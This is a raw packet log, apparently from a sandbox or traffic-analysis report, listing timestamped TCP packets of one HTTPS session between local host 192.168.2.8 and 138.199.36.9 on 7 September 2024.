Sep 7, 2024 23:15:21.860893965 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.861535072 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.861548901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.861594915 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.861610889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.861624002 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.861644983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.861670971 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.861677885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.861697912 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.863828897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.863847017 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.863905907 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.863928080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.867729902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.867753983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.867796898 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.867816925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.867832899 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.868062019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.868076086 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.868129015 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.868138075 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.868457079 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.868485928 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.868510962 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.868520975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.868532896 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.868895054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.868908882 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.868957996 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.868966103 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.869183064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.869204044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.869231939 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.869240046 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.869259119 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.869517088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.869529963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.869576931 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.869590044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.870105028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.870122910 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.870170116 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.870193005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.870522022 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.870533943 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.870584011 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.870595932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.870822906 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.870843887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.870870113 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.870877028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.870893955 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.871383905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.871397018 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.871440887 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.871450901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.871890068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.871908903 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.871938944 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.871946096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.871963978 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.872205019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.872217894 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.872270107 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.872277975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.872632980 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.872651100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.872684956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.872694016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.872704029 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.873091936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.873104095 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.873156071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.873162985 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.873629093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.873652935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.873682022 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.873692989 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.873704910 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.873959064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.873971939 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.874021053 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.874032974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.874537945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.874556065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.874602079 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.874612093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.874978065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.874989986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.875025034 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.875036001 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.875053883 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.875386953 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.875413895 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.875437975 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.875443935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.875467062 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.875825882 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.875838041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.875880957 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.875886917 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.876339912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.876357079 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.876405954 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.876415014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.876888037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.876899958 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.876961946 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.876971960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.877887011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.877908945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.877938032 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.877948999 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.877960920 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.878112078 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.878127098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.878174067 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.878180981 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.878453016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.878468990 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.878515959 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.878524065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.878814936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.878825903 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.878873110 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.878880978 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.879112959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.879129887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.879158974 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.879168034 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.879180908 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.879407883 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.879426956 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.879455090 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.879462004 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.879483938 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.879697084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.879714012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.879743099 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.879750013 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.879762888 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.880023003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.880042076 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.880076885 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.880084991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.880099058 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.880405903 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.880423069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.880469084 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.880477905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.880677938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.880695105 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.880726099 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.880732059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.880745888 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.881000042 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.881019115 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.881048918 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.881056070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.881072044 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.881376028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.881387949 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.881434917 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.881445885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.881669044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.881690979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.881715059 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.881724119 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.881738901 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.881937027 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.881948948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.881989002 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.881994963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.882474899 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.882492065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.882531881 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.882538080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.882550001 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.882585049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.882586956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.882607937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.882630110 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.882643938 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.882951975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.882965088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.882999897 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.883008003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.883037090 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.883059025 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.883073092 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.883106947 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.883114100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.883131981 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.883147001 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.883203030 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.883218050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.883250952 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.883256912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.883287907 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.883900881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.883919954 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.883955956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.883964062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.883984089 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.883994102 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.884046078 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.884097099 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.884111881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.884155989 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.884222984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.884246111 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.884269953 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.884275913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.884288073 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.884305954 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.884892941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.884908915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.884952068 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.884963036 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.884973049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.884989977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.884994030 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.885000944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.885019064 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.885050058 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.885430098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.885447025 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.885476112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.885483027 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.885499001 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.885515928 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.885550976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.885588884 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.885590076 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.885602951 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.885627031 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.885643005 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.885664940 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.885679007 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.885713100 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.885723114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.885751963 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.886378050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.886398077 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.886435986 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.886442900 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.886475086 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.886512995 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.886531115 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.886564970 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.886570930 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.886605024 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.886642933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.886672020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.886693954 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.886699915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.886720896 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.886737108 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.887322903 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.887337923 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.887389898 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.887397051 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.887424946 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.887501001 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.887515068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.887556076 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.887562037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.887572050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.887589931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.887589931 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.887600899 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.887617111 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.887650967 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.888293028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.888310909 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.888353109 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.888365984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.888376951 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.888395071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.888462067 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.888474941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.888514996 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.888521910 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.888528109 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.888541937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.888549089 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.888580084 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.888586044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.888616085 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.889060974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.889072895 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.889132023 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.889141083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.889172077 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.918114901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.918134928 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.918265104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.918292046 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.918338060 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.918405056 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.918418884 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.918478012 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.918484926 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.918524027 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.918773890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.918787956 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.918845892 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.918852091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.918885946 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.953351974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.953383923 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.953558922 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.953579903 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.953597069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.953618050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.953620911 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.953629971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.953655958 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.953681946 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.953929901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.953944921 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.954003096 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.954010963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.954046011 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.954219103 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.954241991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.954288006 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.954293966 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.954325914 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:22.007004976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:22.007026911 CEST	443	49706	138.199.36.9	192.168.2.8
